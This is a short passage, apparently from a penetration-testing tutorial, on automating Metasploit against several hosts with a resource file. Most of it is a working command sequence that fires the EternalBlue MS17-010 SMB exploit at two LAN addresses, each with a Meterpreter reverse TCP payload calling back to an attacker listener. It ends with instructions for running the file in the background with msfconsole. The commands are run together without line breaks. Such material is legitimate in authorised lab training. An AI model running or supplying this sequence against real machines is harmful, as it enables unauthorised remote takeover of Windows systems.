Exploiting multiple targets using MSF resource files
MSF resource files are basically line-separated text files that include a sequence of commands that need to be executed in msfconsole
. Let's go ahead and create a resource file that can exploit the same vulnerability on multiple hosts:
use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/reverse_tcpset rhost 192.168.0.166set lhost 192.168.0.137set lport 4444exploit -juse exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/reverse_tcpset rhost 192.168.0.119set lhost 192.168.0.137set lport 4442exploit -j
Save the file as doublepulsar.rc
. Now you are ready to invoke the resource file by running msfconsole -r filename.rc
, where -r
refers to the resource file. The preceding resource file will exploit the same vulnerability sequentially. Once the first exploit is complete, the specification of exploit -j
will move the running exploit to the background, allowing the next exploit to proceed...